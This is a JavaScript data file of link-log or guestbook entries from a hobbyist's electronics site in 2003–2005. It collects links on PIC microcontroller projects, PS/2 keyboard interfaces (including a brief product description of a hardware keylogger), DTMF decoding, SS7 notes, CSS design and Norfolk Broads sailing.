gbF( 
"Doug","","Fri, 28 Nov 2003 08:00:48 UTC+0100","212.56.108.219 ",
"",
"http://www.dynamicdrive.com/dynamicindex7/basiccalendar.htm",
"Little JavaScript Calendar",
"",
"Here is a web page that has a neat Web Calendar"
);

gbF( 
"Doug","","Sun, 28 Dec 2003 20:41:58 UTC+0100","212.56.108.219 ",
"",
"http://keyspy.de.vu/",
"KEYSPY Keyboard Data Logger",
"",
"Could this be used to upload a data logger to a PC?<BR>\
<BR>\
The KEYSPY is a hardware keyboard logger that can record keystrokes from a PS/2 keyboard and send them back to the PC at any later time. It consists only of a PIC16C84 microcontroller, an EEPROM (24C32 up to 24C512) an analog multiplexer 4053 and a few resistors. A great advantage of the KEYSPY compared with software keyloggers is that it will also log bios passwords or show that someone tried to access the computer with a DOS boot disc. The used EEPROM (24C64) has a capacity of 8KB and can store about 8000 keystrokes.<BR>\
<BR>\
The KEYSPY can be used to see whether someone is working at your computer without permission. <BR>\
<BR>\
! Please don\'t use the Keyspy to read out foreign passwords, emails or any other confidential information !<BR>\
<BR>\
"
);

gbF( 
"Barry Myles","smyles@smyles.plus.com","Thu, 1 Jan 2004 22:32:58 UTC+0100","212.159.26.208 ",
"",
"http://www.smyles.plus.com/",
"New web site",
"",
"Your website is looking good, Doug! Happy new year. Lots of good new content. It looks much better than my prototype web page."
);

gbF( 
"Doug","","Sat, 10 Jan 2004 10:03:45 UTC+0100","212.56.108.219 ",
"",
"http://www.electronic-engineering.ch/microchip/index.html",
"Super PIC site with keyboard Info",
"",
"This website provides you helpful information about Microchip PIC 8 Bit RISC microcontrollers. Several assembler source code listings are available for non-commercial use. There are also tools for using your PC for measuring or regulating electronic applications. "
);
gbF( 
"Barry Myles","","Wed, 28 Jan 2004 23:15:02 UTC+0100","212.159.26.208 ",
"",
"http://www.smyles.plus.com/",
"",
"",
"Hi Doug!"
);
//HTTP_REFERER   = http://www.dougrice.plus.com/hp/news/index.htm
//HTTP_USER_AGENT= Mozilla/4.0 (compatible; MSIE 5.0; Windows 98; DigExt)
gbF( 
"Doug","","Fri, 9 Apr 2004 10:55:57 UTC+0100","212.56.108.219 ",
"",
"http://www.polleng.freeserve.co.uk/midi.html",
"Really good set of midi files goerge Pollen",
"",
"http://www.polleng.freeserve.co.uk/midi.html<BR>\
Born 1939 in Islington, London, United Kingdom. I started playing violin at school and within the first year had won the school\'s music prize. I entered the British Army in 1958, into The Royal Engineers Staff Band in Aldershot and served the full 22 years. Whilst in the band, I discovered arranging music as a hobby and arranged and composed many pieces for concert military band, many of which were broadcast on BBC radio, BBC TV and placed onto records, cassettes and CD\'s.<BR>\
<BR>\
For a while, I spent time as copyist to Ronald Binge - composer of Elizabethan Serenade, The Water Mill and many other fine pieces. Binge was also famous for creating \"The Mantovani Sound\" (cascading strings).<BR>\
<BR>\
I\'m now in semi-retirement making arrangements for concert orchestras.<BR>\
<BR>\
Click Here to return to home page. <BR>\
"
);
//HTTP_REFERER   = http://www.dougrice.plus.com/hp/news/index.htm
//HTTP_USER_AGENT= Mozilla/4.0 (compatible; MSIE 5.0; Windows 98; DigExt)
gbF( 
"doug","","Sun, 18 Apr 2004 22:15:11 UTC+0100","212.56.108.219 ",
"",
"http://www.pic-c.com/links/applications.html",
"PIC Applications",
"",
""
);
//HTTP_REFERER   = http://www.dougrice.plus.com/hp/news/index.htm
//HTTP_USER_AGENT= Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; .NET CLR 1.0.3705)
gbF( 
"Doug","","Thu, 6 May 2004 21:07:53 UTC+0100","212.56.108.219 ",
"",
"http://www.bobblick.com/techref/projects/lcdterm/lcdterm.html",
"RS232 PIC full duplex serial terminal",
"",
"LCD Serial Terminal <BR>\
<BR>\
Introduction:<BR>\
In the 1980s a serial terminal was a big thing with a picture tube and keyboard. You used it to communicate with a computer by RS-232 cable or with a modem. In this century, we still sometimes have need for a serial terminal, and we’ll typically use a personal computer running a terminal program (Hyperterminal, bundled withWindows, is a terminal program). This project is a self-contained serial terminal using a PIC16F84 microcontroller chip, an inexpensive LCD character display, a keypad, and very little else. It is full-duplex, meaning keypresses cause RS-232 output, and RS-232 input makes characters appear on the LCD. If you connect the RS-232 output to the input you can see the keys as you press them, without connecting to anything else (that’s called “looping back”).<BR>\
<BR>\
"
);
//HTTP_REFERER   = http://www.dougrice.plus.com/hp/news/index.htm
//HTTP_USER_AGENT= Mozilla/4.0 (compatible; MSIE 5.5; Windows 98; Config C; Config D)
gbF( 
"doug","","Thu, 3 Jun 2004 17:26:00 UTC+0100","193.113.37.9 132.146.89.88",
"",
"http://synergy2.sourceforge.net/",
"synergy",
"",
"synergy: [noun] a mutually advantageous conjunction of distinct elements <BR>\
<BR>\
Synergy lets you easily share a single mouse and keyboard between multiple computers with different operating systems, each with its own display, without special hardware. It\'s intended for users with multiple computers on their desk since each system uses its own monitor(s). <BR>\
<BR>\
"
);
//HTTP_REFERER   = http://www.dougrice.plus.com/hp/news/index.htm
//HTTP_USER_AGENT= Mozilla/4.0 (compatible; MSIE 5.0; Windows 98; DigExt)
gbF( 
"doug","","Sat, 5 Jun 2004 09:31:33 UTC+0100","212.56.108.219 ",
"",
"http://www.dougrice.plus.com/hp/freq/freq.htm",
"Control a PIC 16F628 using a serial 4800 baud terminal ",
"",
"Here is some code to allow you to use a serial terminal to read and write to the PIC\'s registers and EEPROM. <BR>\
<BR>\
Connect the 4800 baud serial terminal using the circuit below:-"
);
//HTTP_REFERER   = http://www.dougrice.plus.com/hp/news/index.htm
//HTTP_USER_AGENT= Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; .NET CLR 1.0.3705)
gbF( 
"Your name","","Fri, 9 Jul 2004 21:43:51 UTC+0100","212.56.108.219 ",
"",
"http://www.lightstraw.co.uk/ate/",
"Welcome to Light Straw ATE",
"",
"Welcome to Light Straw ATE<BR>\
Exploring the history of the UK Telephone Service, with reminiscences from operators, engineers and staff...<BR>\
 <BR>\
"
);

//HTTP_REFERER   = http://www.dougrice.plus.com/hp/news/index.htm
//HTTP_USER_AGENT= Mozilla/4.0 (compatible; MSIE 5.0; Windows 98; DigExt)
gbF( 
"Doug","","Mon, 6 Sep 2004 08:49:24 UTC+0100","212.56.108.219 ",
"",
"http://www.dougrice.plus.com/hp/LCD1300",
"Here is a web page about the Epson EA-X24017AR modules that use a SED1300 LCD controller. ",
"",
"Introduction<BR>\
Here is a web page about the Epson EA-X24017AR modules that use a SED1300 LCD controller. I brought one of these about sicx years ago, and it has been sitting in my junk box waiting for some time to try it out. There was no data with the module when I brought it and it has been a bit of a struggle to find any.<BR>\
Many scans of www.eio.com\'s discussion groups finally turned up trumps after three years.<BR>\
<BR>\
Any information in this web page is indicative only. You are expected to establish if it is accurate.<BR>\
<BR>\
"
);
//HTTP_REFERER   = http://www.dougrice.plus.com/hp/news/index.htm
//HTTP_USER_AGENT= Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8a2) Gecko/20040529
gbF( 
"GravoMaster.com","noreply@noreply.com","Fri, 10 Sep 2004 11:49:26 UTC+0100","213.73.194.181 ",
"",
"http://www.sticker.tk",
"www.sticker.tk",
"",
"Vinyl cutting with pic 18f452 and an old pen plotter<BR>\
<BR>\
searching for people with the same interest<BR>\
having some problems with the serial connection to a pc<BR>\
would like to use signgo for vinyl cutting software<BR>\
connected to a pic 18f452 wich controls the stepper motors<BR>\
<BR>\
it works with my visual basic program<BR>\
but i want to use signgo<BR>\
<BR>\
sounds this interesting to you<BR>\
<BR>\
then please visit my page<BR>\
<BR>\
greetings luberth"
);
//HTTP_REFERER   = http://www.dougrice.plus.com/hp/news/index.htm
//HTTP_USER_AGENT= Mozilla/4.0 (compatible; MSIE 5.0; Windows 98; DigExt)
gbF( 
"Doug","","Wed, 15 Sep 2004 22:05:28 UTC+0100","212.56.108.219 ",
"",
"http://bdn.borland.com/museum/",
" Antique Software: Turbo Pascal v5.5  ",
"",
"Combining the simplicity of Apple\'s Object Pascal language with the power and efficiency of C++ to create Turbo Pascal 5.5, the object-oriented programming language for the rest of us. Updated with a PDF of the first two chapters of the language guide."
);
//HTTP_REFERER   = http://www.dougrice.plus.com/hp/news/index.htm
//HTTP_USER_AGENT= Mozilla/4.0 (compatible; MSIE 5.0; Windows 98; DigExt)
gbF( 
"Your name","","Thu, 16 Sep 2004 20:42:55 UTC+0100","212.56.108.219 ",
"",
"http://www.usemod.com/cgi-bin/wiki.pl?UseModWiki",
"UseModWiki is an implementation of the original Wiki concept created by WardCunningham. ",
"",
"UseModWiki is an implementation of the original Wiki concept created by WardCunningham. A \"wiki\" is a website that is collaboratively edited by its users, including the ability to change text written by other users (see WhatIsaWiki). This site exists to test UseModWiki and to attract suggestions for future improvements. See SiteList for a large list of other sites using UseModWiki--a good example site is the [Meatball wiki] which discusses online communities. <BR>\
The current release of UseModWiki is available from the /Download page. <BR>\
<BR>\
"
);

//HTTP_REFERER   = http://www.dougrice.plus.com/hp/news/index.htm
//HTTP_USER_AGENT= Mozilla/4.0 (compatible; MSIE 5.0; Windows 98; DigExt)
gbF( 
"doug","","Mon, 20 Sep 2004 21:10:31 UTC+0100","212.56.108.219 ",
"",
"http://www.dattalo.com/technical/theory/dtmf.html",
"DTMF - Decoding with a 1-bit A/D converter",
"",
"DTMF - Decoding with a 1-bit A/D converter<BR>\
The purpose of DTMF decoding is to detect sinusoidal signals in the presence of noise. There are plethora of cost effective integrated circuits on the market that do this quite well. In many (most ?) cases, the DTMF decoder IC interfaces with a microcontroller. In these instances, why not use the microcontroller to decode the sinusoids? Well the answer is because the typical microcontroller based decoder requires an A/D converter. Furthermore, the signal processing associated with the decoding is usually beyond the scope of the microcontroller\'s capabilities. So the designer is forced to use the dedicated IC or upgrade the microcontroller to perhaps a more costly digital signal processor.<BR>\
<BR>\
"
);
//HTTP_REFERER   = http://www.dougrice.plus.com/hp/news/index.htm
//HTTP_USER_AGENT= Mozilla/4.0 (compatible; MSIE 5.0; Windows 98; DigExt)
gbF( 
"Your name","","Mon, 20 Sep 2004 21:16:43 UTC+0100","212.56.108.219 ",
"",
"http://www.geocities.com/constantinescuradu/content/dtmf.htm",
"DTMF Remote control – A software DTMF decoder for PIC 16F87X",
"",
"©2003 Radu Constantinescu<BR>\
<BR>\
This project is a simple DTMF Remote control. The DTMF detector is integrated in software. All the logic requested to receive and decode DTMF Commands over the phone line is integrated in the 16F877 chip, only few external components are used. As soon as possible I plan to switch to a 16F629-20 Pic and like that will be a Single Chip DTMF Remote Control. The debug possibilities of 16F877 made him a good choice in order to develop the application. Once the development is finished the downsize to a smaller Pic will reduce the cost and integrate the Comparator to.<BR>\
<BR>\
"
);
//HTTP_REFERER   = http://www.dougrice.plus.com/hp/news/index.htm
//HTTP_USER_AGENT= Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
gbF( 
"Test","test@test.dk","Sun, 17 Oct 2004 01:11:17 UTC+0100","62.61.144.252 ",
"test",
"http://www.auxois.1go.dk/pic/louise.jpg",
"",
"",
"Test"
);
//HTTP_REFERER   = http://www.dougrice.plus.com/hp/news/index.htm
//HTTP_USER_AGENT= Mozilla/4.0 (compatible; MSIE 5.0; Windows 98; DigExt)
gbF( 
"doug rice","","Sun, 17 Oct 2004 10:27:28 UTC+0100","212.56.108.219 ",
"",
"http://www.dialabc.com/",
"Tools for Phone Numbers ",
"",
"Tools for Phone Numbers <BR>\
DialABC is your online destination for telephone related tools, information, trivia, and links. DialABC lets you find words in phone numbers and even find touch tones in audio clips. <BR>\
<BR>\
 <BR>\
"
);
//HTTP_REFERER   = http://www.dougrice.plus.com/hp/news/index.htm
//HTTP_USER_AGENT= Mozilla/4.0 (compatible; MSIE 6.0; Windows 98)
gbF( 
"Your name","","Mon, 10 Jan 2005 22:32:29 UTC+0100","212.56.108.219 ",
"",
"http://www.angelfire.com/hi2/alfadly/piclinks.html",
"Some PIC links with a FORTH complier",
"",
"PIC Languages [Updated 7/Jun/99] <BR>\
Undoubtedly most people program PICs in assembly language (there are two main variants: Microchip\'s own and an 8051-like language from Parallax). For higher level programming BASIC, C and Forth compilers are available. I could be wrong but I think the only true BASIC compilers are PicBasic from microEngineering Labs and PIC BASIC from FED (other BASICs exist but they do not generate native PIC code). For those who prefer C there is a lot of choice. MPC from Byte Craft and Microchip\'s MPLAB-C apparently started out the same but are now quite different from each other. PCM from CCS is a relatively inexpensive compiler for PIC16CXX microcontrollers and seems quite popular. Don McKenzie resells the CCS compiler but he offers an impartial user review of four popular C compilers. A PCM specific review is provided by Hahntronix. Randy Rasa has more information about PIC C compilers including a review of MPC. The CC5X compiler, despite it\'s name, is suitable for both baseline and midrange PICs. Hi-Tech have a working demo of their PIC ANSI C compiler available for evaluation purposes and this is the only compiler I\'ve tried much - I liked it. The stack-oriented language Forth seems an unlikely candidate for programming the stack starved mid-range PICs but Michael Josefsson has managed to produce a Forth compiler for the PIC16C84. A commercial Forth compiler is available from RAM Technology Systems. Some experimenters have devised their own high-level languages and offer compilers for them. <BR>\
<BR>\
"
);
//HTTP_REFERER   = http://www.dougrice.plus.com/hp/news/index.htm
//HTTP_USER_AGENT= Mozilla/4.0 (compatible; MSIE 5.0; Windows 95; DigExt; nw2)
gbF( 
"Doug","","Sat, 29 Jan 2005 10:21:30 UTC+0100","212.56.108.219 ",
"",
"http://www.dougrice.plus.com/hp/picprog/picprogchSerial877.gif",
"New Pic Circuit diagram",
"",
"A 300K gif file of a programmer that can program the Microchip 10F204"
);
gbF( 
"doug","","Thu, 3 Mar 2005 21:56:43 UTC+0100","212.56.108.219 ",
"",
"http://www.welshharp.co.uk/home.php?action=home",
"Welsh Harp Sailing",
"",
""
);
gbF( 
"Doug","","Sun, 24 Apr 2005 06:49:54 UTC+0100","212.56.108.219 ",
"",
"http://www.samknows.com/broadband/",
"The Broadband Resource ",
"",
"About the site<BR>\
The Broadband Resource is a non-profit website designed to provide broadband campaigners with the information they need to run their campaigns. It was created by myself, Sam Crawford, and is also maintained by Paul Buck. If you have any questions, suggestions, comments, and so on, please don\'t hesitate to send them to us. <BR>\
<BR>\
The site was started as a small hobbyist site after I worked at Datasouth UK on the Hampshire Broadband project. I left there in September 2003 to study Computer Science at Bath University. Over time I began getting more and more people requesting new features and sharing their ideas. The results of all those ideas and suggestions is the site you see today. <BR>\
<BR>\
Throughout the continual growth of the site, the server it was hosted on did not change. It was a single CPU linux server on a 512Kbps ADSL connection, and whilst the speed of the site was not a huge issue, the reliability of ADSL was just too volatile to support it anymore. Hi-Velocity very kindly stepped up and offered me co-location at their data-centre for next to nothing. I accepted, and that is where the server is hosted today. <BR>\
<BR>\
Finally, whilst this site does not cost me much to operate, it does take up a considerable amount of both Pauls and my time. So if you\'d like to help the site out in the future, or just to buy us a pint (!), feel free to make a small donation using the Paypal link below. If you\'d prefer not to use PayPal, please email me for a postal address. <BR>\
"
);
gbF( 
"Doug","","Sat, 7 May 2005 13:02:54 UTC+0100","212.56.108.219 ",
"",
"http://www.phaedrusltd.com/system/index.html",
"An interesting web pages I/O module",
"",
"http://www.phaedrusltd.com/system/index.html"
);
gbF( 
"Doug Rice","","Sat, 21 May 2005 08:08:49 UTC+0100","212.56.108.219 ",
"",
"http://keyspy.de.vu",
"KEYSPY Keyboard Data Logger",
"",
"The KEYSPY is a hardware keyboard logger that can record keystrokes from a PS/2 keyboard and send them back to the PC at any later time. It consists only of a PIC16C84 microcontroller, an EEPROM (24C32 up to 24C512) an analog multiplexer 4053 and a few resistors. A great advantage of the KEYSPY compared with software keyloggers is that it will also log bios passwords or show that someone tried to access the computer with a DOS boot disc. The used EEPROM (24C64) has a capacity of 8KB and can store about 8000 keystrokes.<BR>\
<BR>\
"
);
gbF( 
"Your name","","Sat, 21 May 2005 10:15:23 UTC+0100","212.56.108.219 ",
"",
"http://www.dougrice.plus.com/hp/gbbook/simple/SCCP%20GLOBALTITLETRANSLATORDEMO.HTM",
"SCCP GlobalTitleTranslatorDemo.htm",
"",
"A Global title type 4 consists of Translation type, Numbering plan, Encoding scheme,Nature of address indicator, Global title address information<BR>\
The coding to GT type 4 is simplified down to Numbering plan and digits. We always keep the other parameters ( NAI and TT ) constant. The encoding scheme is calculated to BCDodd or BCDeven depending on the number of digits.<BR>\
<BR>\
ITU-T Q.713 TELECOMMUNICATION STANDARDIZATION SECTOR OF ITU (07/96) <BR>\
SERIES Q: SWITCHING AND SIGNALLING Specifications of Signalling System No. 7 - Signalling Connection Control Part (SCCP)<BR>\
Signalling Connection Control Part formats and codes ITU-T Recommendation Q.713 (Previously CCITT Recommendation)<BR>\
<BR>\
See ITU-T Q.714 TELECOMMUNICATION (03/93) STANDARDIZATION SECTOR OF ITU SPECIFICATIONS OF SIGNALLING SYSTEM No. 7<BR>\
SIGNALLING SYSTEM No. 7 - SIGNALLING CONNECTION CONTROL PART PROCEDURES<BR>\
ITU-T Recommendation Q.714 (Previously \"CCITT Recommendation\") <BR>\
<BR>\
<BR>\
2.2.1 Receipt of SCCP message transferred by the MTP04<BR>\
A message transferred by the MTP that requires routing will include the \"called party address\"<BR>\
parameter giving information for routing the message. The messages which require to invoke a<BR>\
routing function are the CR message and all types of connectionless messages. All connectionoriented<BR>\
messages except the CR message are passed directly to SCOC.<BR>\
NOTE – The called party address in the CREF or CC messages shall not be used for routing.<BR>\
If the \"called party address\" parameter is used for routing, then the routing indicator determines<BR>\
whether routing is based on:<BR>\
1) Subsystem Number (SSN) – This indicates that the receiving SCCP is the destination node<BR>\
of the message. The SSN is used to determine the local subsystem.<BR>\
<BR>\
2) Global Title (GT) – This indicates that translation is required. Translation of the Global Title<BR>\
results normally in a Destination Point Code (DPC) and an internal identification of the<BR>\
MTP-SAP instance to which the MTP-TRANSFER primitive shall be issued for routing the<BR>\
message, the routing indicator and possibly a new SSN or GT or both. The SCCP routing<BR>\
function also provides additional information needed for the MTP-TRANSFER (OPC, SLS<BR>\
and SIO; this information is passed to the MTP in the form of parameters in the MTPTRANSFER<BR>\
request primitive).<BR>\
Even if an SPC is present in the \"called party address\" parameter, it shall not be used by SCRC.<BR>\
<BR>\
<BR>\
<BR>\
"
);
gbF( 
"Doug","","Mon, 30 May 2005 07:55:43 UTC+0100","212.56.108.219 ",
"",
"http://www.computer-engineering.org/",
"PS/2 Keyboard stuff",
"",
"http://www.computer-engineering.org/<BR>\
<BR>\
Welcome to <BR>\
Computer-Engineering.org<BR>\
<BR>\
<BR>\
--------------------------------------------------------------------------------<BR>\
<BR>\
<BR>\
PS/2 Mouse/Keyboard Protocol<BR>\
PS/2 Keyboard Interface<BR>\
PS/2 Mouse Interface<BR>\
Chinese Translations<BR>\
<BR>\
German Translations<BR>\
<BR>\
Copyright 1998-2004, Adam Chapweske<BR>\
"
);
gbF( 
"doug","","Mon, 30 May 2005 07:56:31 UTC+0100","212.56.108.219 ",
"",
"http://www.iptel-now.de/HOWTO/PIC/pic.html",
"These are notes about my adapter to convert PS/2 keyboard signals",
"",
"Programming and using PIC microcontrollers <BR>\
<BR>\
--------------------------------------------------------------------------------<BR>\
These are notes about my adapter to convert PS/2 keyboard signals (e.g. of a Twiddler 2) to the RS-232 serial data needed by my iPAQ. There is, however, a newer (and to my mind easier to build) version using an ATMEL microcontroler meanwhile ! <BR>\
PS/2 to RS-232 converter<BR>\
"
);
gbF( 
"Doug Rice","","Tue, 7 Jun 2005 08:59:31 UTC+0100","212.56.108.219 ",
"",
"http://www.dougrice.plus.com/rt004/ShipTimer/index.htm",
"",
"",
"This is a bit of a challenge. My Original design original design used a PIC16F84, and was relatively easy to use and quite simple in function.<BR>\
<BR>\
I decided to port my design to an 8 pin device, to make it smaller.<BR>\
<BR>\
I do not have the ability to use custom LCD displays or use surface mount devices, so the design is limited to an 8 pin PIC12F675, using one button and LED and a sounder.<BR>\
<BR>\
So here is a design. It is still not perfect, and much more complicated than it seems.<BR>\
<BR>\
<BR>\
<BR>\
"
);
gbF( 
"Your name","","Tue, 7 Jun 2005 09:00:57 UTC+0100","212.56.108.219 ",
"",
"http://www.dougrice.plus.com/rt004/ShipTimer/index.htm",
"Shipping Forecast Timer using an 8 pin device ",
"",
"This is a bit of a challenge. My Original design original design used a PIC16F84, and was relatively easy to use and quite simple in function.<BR>\
<BR>\
I decided to port my design to an 8 pin device, to make it smaller.<BR>\
<BR>\
I do not have the ability to use custom LCD displays or use surface mount devices, so the design is limited to an 8 pin PIC12F675, using one button and LED and a sounder.<BR>\
<BR>\
So here is a design. It is still not perfect, and much more complicated than it seems.<BR>\
<BR>\
"
);
gbF( 
"Your name","","Thu, 9 Jun 2005 08:39:01 UTC+0100","212.56.108.219 ",
"",
"http://www.phaedrusltd.com/system/index.html",
"NETIOM",
"",
"Local Links:<BR>\
<BR>\
http://212.56.108.219<BR>\
http://192.168.7.22<BR>\
<BR>\
http://www.dougrice.plus.com/nm/netiom/index1.htm<BR>\
http://www.dougrice.plus.com/nm/nm1.htm"
);
gbF( 
"doug","","Thu, 9 Jun 2005 18:11:27 UTC+0100","193.113.37.9 132.146.89.88",
"",
"http://www.mikroelektronika.co.yu/english/product/compilers/mikroc/index.htm",
"Advanced, comprehensive C compiler for PIC MCUs.",
"",
"Advanced, comprehensive C compiler for PIC MCUs.<BR>\
<BR>\
Develop your applications for PIC quickly and easily, with many practical examples we have provided. Download free version of mikroC and try it out!<BR>\
"
);




gbF( 
"Your name","","Mon, 11 Jul 2005 15:49:44 UTC+0100","193.113.37.7 132.146.89.88",
"",
"http://www.broads-authority.gov.uk/broads/pages/boat2.html",
"Boat Hire",
"",
"The Broads has been a popular destination for boating holidays since the Victorians \'discovered\' the pleasures of sailing its waterways in the late 19th century. Today\'s boats are very easy to handle and are a most enjoyable way to see this unique and enchanting wetland, with over 125 miles (200 km) of lock-free waters to explore. Motor cruisers and yachts from 2-12 berth can be hired from boat yards throughout the Broads and are available weekly, as well as for short breaks and longer periods. <BR>\
"
);
gbF( 
"Your name","","Mon, 11 Jul 2005 15:51:14 UTC+0100","193.113.37.7 132.146.89.88",
"",
"http://www.thegreenbook.org.uk/home/launching.asp",
"welcome to the nsba ",
"",
"Information Exchange<BR>\
In an increasingly legislated world, nsba represents boating people in Norfolk and Suffolk. Whether you race or cruise under power or sail, nsba represents your interests, with Whitehall, the Broads Authority and local government. nsba is the body through which local boating organisations talk to each other and co-ordinate their activities.<BR>\
<BR>\
"
);
gbF( 
"Your name","","Sat, 23 Jul 2005 21:35:21 UTC+0100","212.56.108.219 ",
"",
"http://www.electronic-engineering.ch/microchip/projects/projects.html",
"PIC Microcontroller Projects",
"",
"PIC Microcontroller Projects<BR>\
For Non-Commercial Use Only<BR>\
<BR>\
I would appreciate to be credited within your project, if you use any of the source code below. If you have an interesting project going on, I\'ll be glad about feedback.<BR>\
<BR>\
The software below comes with no guarantee or warranty except for my good intentions. Further the use of this code implies that the user has a fundamental understanding of electronics and its risks. I\'m not responsible for any harm or damage, caused by inproper use of any of the code below.<BR>\
Any commercial use of parts or all of this code requires the permission of the author. <BR>\
<BR>\
\"Design and test of electronic circuits are 1% inspiration and 99% perspiration.\"<BR>\
 <BR>\
<BR>\
"
);
gbF( 
"Your name","","Wed, 27 Jul 2005 21:14:58 UTC+0100","212.56.108.219 ",
"",
"http://www.marien-yachtcharter.com/yacht-charter.html",
"Marien Yacht Charter leaves nothing to chance: many years of experience and a perfectly equipped fleet of sailing yachts guarantee a fantastic sailing holiday",
"",
"The IJsselmeer ( the former Zuider Sea), a non-tidal water, is a varied and beautiful holiday area. There is almost always enough wind on this large lake, but you are never far from the coast, which gives a safe feeling. In the northern part of the Ysselmeer, there are two possibilities to go through the locks of the Afsluitdijk on to the Waddensea (tidal waters),where you will find a serene calm in a magnificent sailing area, often surounded by seals. You can sail almost endlessly or visit one of the picturesque Wadden islands.<BR>\
<BR>\
"
);
gbF( 
"Your name","","Thu, 28 Jul 2005 07:47:52 UTC+0100","212.56.108.219 ",
"",
"http://www.marthamboats.com/",
" Motor Cruisers Sailing Yachts Day Boats Houseboats Bungalows Boat Building Boats for sale  To Check Availability Please Click Here  ",
"",
"Excellent sailing performance with comfort for the crew. Cabin arrangement for mixed parties. Traditional gaff rig with loose footed jib. This lady is well suited to the environment.<BR>\
<BR>\
Berths for 4 persons <BR>\
* Flush toilets, wash-basins, two burner cooker grill and oven. Crockery and bed linen provided. <BR>\
* Length 30\' Beam 9\' 6\" Headroom 6\'<BR>\
* 4 Singles, in 2 Cabins<BR>\
* Press here for prices<BR>\
Easy lifting counterbalanced cabin top, pull out double berth. Communication hatch between fore cabin and main cabin. Sink and tap in well. Full length awning. Bermudan rig sloop with loose footed jib. balanced mast to negotiate broads bridges. 1.5hp Stuart Turner engine.<BR>\
 <BR>\
For a Free Colour Brochure<BR>\
<BR>\
Click Here<BR>\
Please click here to read our conditions of HireQuick Jump Menu<BR>\
<BR>\
 Motor Cruisers Sailing Yachts Day Boats Houseboats Bungalows Boat Building Boats for sale  To Check Availability Please Click Here  <BR>\
  <BR>\
"
);
gbF( 
"Your name","","Thu, 28 Jul 2005 07:51:17 UTC+0100","212.56.108.219 ",
"",
"http://www.norfolk-broads.com/",
"The Norfolk Broads Yachting Company runs the largest fleet of sailing yachts",
"",
"The Norfolk Broads Yachting Company runs the largest fleet of sailing yachts for hire on the Norfolk Broads and specialises in providing the best in yachting holidays in this, Britain’s newest National Park. We pri eourselves on our customer care, and believe that both this and the boats we offer, combine to ensure a high level of return custom. Our fleet comprises a unique selection of 2-10 berth boats, from historic gaff yachts restored and maintained in the purist fashion of yesteryear, to modern and newly constructed craft which provide for every comfort afloat. There are many smaller and middle range yachts, including current estuary designs, which are ideal for families and newcomers to the Broads, to whom we will provide advice on cruising areas and tuition free of charge. We have placed many of these boats on Friday start to allow you to escape the weekend rush. Please telephone us if there is anything else you wish to ask"
);
gbF( 
"Your name","","Thu, 28 Jul 2005 08:32:56 UTC+0100","212.56.108.219 ",
"",
"http://www.eastwood-whelpton.co.uk/",
"Eastwood-Whelpton provide traditional yachts and modern sailing boats for hire ",
"",
"Eastwood-Whelpton provide traditional yachts and modern sailing boats for hire on the Norfolk Broads, in the UK. <BR>\
<BR>\
For over 45 years Tim and Anne Whelpton and their staff have operated a fine fleet of yachts based at Upton Yacht Station. <BR>\
"
);
gbF( 
"Your name","","Fri, 29 Jul 2005 17:11:02 UTC+0100","193.113.37.7 132.146.89.88",
"",
"http://users.skynet.be/mgueury/mozilla/",
"HTML VALIDATOR (based on Tidy) ",
"",
"HTML Validator is a Mozilla extension that adds HTML validation inside Firefox and Mozilla.<BR>\
The number of errors of a HTML page is seen on the form of  an icon in the status bar when browsing.<BR>\
The details of the errors are seen when looking the HTML source of the page.<BR>\
<BR>\
The extension is based on Tidy. Tidy, was originally developed by the Web Consortium W3C. And now extended and improved by a lot of persons. Tidy is embedded inside Mozilla/Firefox and makes the validation locally on your machine, without sending  HTML to a third party server.<BR>\
"
);
gbF( 
"Your name","","Sat, 6 Aug 2005 11:06:12 UTC+0100","212.56.108.219 ",
"",
"http://www.dutchflyer.co.uk/what_is_the_dutchflyer.asp",
"The dutchflyer (formerly known as the Amsterdam Express) is a rail & sail ",
"",
"The dutchflyer (formerly known as the Amsterdam Express) is a rail & sail service providing a great value, hassle free means of travel right to the heart of any Dutch city with a rail station.<BR>\
<BR>\
How does it work?"
);
gbF( 
"Your name","","Fri, 19 Aug 2005 08:03:10 UTC+0100","212.56.108.219 ",
"",
"http://www.geocities.com/vsurducan/electro/PIC/lib.html",
"Other Jal libraries ",
"",
"Other Jal libraries <BR>\
last update: 07.10.2002 <BR>\
--------------------------------------------------------------------------------<BR>\
<BR>\
Math routines <BR>\
<BR>\
"
);
gbF( 
"Your name","","Wed, 24 Aug 2005 07:46:21 UTC+0100","212.56.108.219 ",
"",
"http://www.csszengarden.com/",
"css Zen Garden - The Beauty of CSS Design",
"",
"css Zen Garden<BR>\
The Beauty of CSS Design<BR>\
A demonstration of what can be accomplished visually through CSS-based design. Select any style sheet from the list to load it into this page.<BR>\
<BR>\
Download the sample html file and css file<BR>\
<BR>\
The Road to Enlightenment<BR>\
Littering a dark and dreary road lay the past relics of browser-specific tags, incompatible DOMs, and broken CSS support.<BR>\
<BR>\
Today, we must clear the mind of past practices. Web enlightenment has been achieved thanks to the tireless efforts of folk like the W3C, WaSP and the major browser creators.<BR>\
<BR>\
The css Zen Garden invites you to relax and meditate on the important lessons of the masters. Begin to see with clarity. Learn to use the (yet to be) time-honored techniques in new and invigorating fashion. Become one with the web.<BR>\
<BR>\
"
);
gbF( 
"Your name","","Wed, 24 Aug 2005 07:51:26 UTC+0100","212.56.108.219 ",
"",
"http://css.maxdesign.com.au/listamatic/",
"Vertical lists ",
"",
"Can you take a simple list and use different Cascading Style Sheets to create radically different list options? The Listamatic shows the power of CSS when applied to one simple list. "
);

gbF( 
"Your name","","Fri, 16 Sep 2005 14:27:37 UTC+0100","193.113.37.7 132.146.89.88",
"",
"http://www.vintagecomputers.freeserve.co.uk",
"1980s Vintage Computers",
"",
"Welcome<BR>\
My main interest in old computers are old business microcomputers particular the Hewlett-Packard HP-85 and the IBM PC family. <BR>\
<BR>\
Recent Updates<BR>\
"
);

gbF( 
"Your name","","Mon, 19 Sep 2005 08:09:22 UTC+0100","212.56.108.219 ",
"",
"http://www.digidave.co.uk/product_info.php?cPath=25&products_id=124&osCsid=ff8402e873fa7bc972d7d38bf88ed563",
"IP Power 9212 Remote Controler Sensor",
"",
"The IP Power 9212 is a Network Controller & Sensor with 8 DI & 8 DO. A specific PC or software is not needed; you can easily control devices remotely and check the device status via the Internet anywhere in the world.<BR>\
<BR>\
